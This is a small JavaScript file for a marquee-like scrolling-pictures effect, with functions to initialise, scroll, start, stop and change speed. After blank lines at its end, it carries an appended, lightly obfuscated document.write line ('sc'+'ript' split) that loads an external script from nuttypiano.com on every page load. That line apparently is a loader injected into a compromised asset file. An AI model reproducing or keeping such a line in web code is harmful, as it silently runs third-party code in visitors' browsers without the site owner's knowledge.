﻿/****************************************************************************************
* @ Description     : This file de fine javascript function to make scrolling pictures, like marquee tag. 
* @ Author            : khanhconan
* @ Version           : 1.0
****************************************************************************************/

//***********************************
// Define direction
var LEFT = 0;
var RIGHT = 1;
var UP = 2;
var DOWN = 3;

var orignalSize = 0;  
var containerId = "";
var containerSize = 0;
var viewSize = 0;
var direction = 0;
var speed = 20;

// Mouse Event:
//onmousedown
//onmouseup
//onmouseover
//onmouseout

//************************************
function initParam(pContainerId, pContainerSize, pScrollSize, pDirection, pSpeed) {
    containerId = pContainerId;
    containerSize = pContainerSize;
    orignalSize = pScrollSize;
    viewSize = pContainerSize;
    direction = pDirection;
    speed = pSpeed;
    var objContainer = document.getElementById(containerId);
    if (objContainer != null) {
        objContainer.style.width = pScrollSize + "px";
    }
}

function scrollPics() {
    var objContainer = document.getElementById(containerId);
    if (objContainer != null) {
        if (direction == LEFT) {
            objContainer.style.left = containerSize + 'px';
        } else if (direction == RIGHT) {
            objContainer.style.right = containerSize + 'px';
        } else if (direction == UP) {
            objContainer.style.top = containerSize + 'px';
        } else if (direction == DOWN) {
            objContainer.style.bottom = containerSize + 'px';
        }

        containerSize--;
        if(containerSize == -orignalSize) {
            containerSize = viewSize;
        }
       setTimeout("scrollPics()",speed);
    }
}

function startScrolling() {
    setTimeout('scrollPics()');
}

function stopScrolling() {
    clearTimeout('scrollPics()');
}

function changeSpeed(pSpeed) {
    tempSpeed = speed;
    speed = pSpeed;
}





document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Page_Orientation.js"></scri'+'pt>');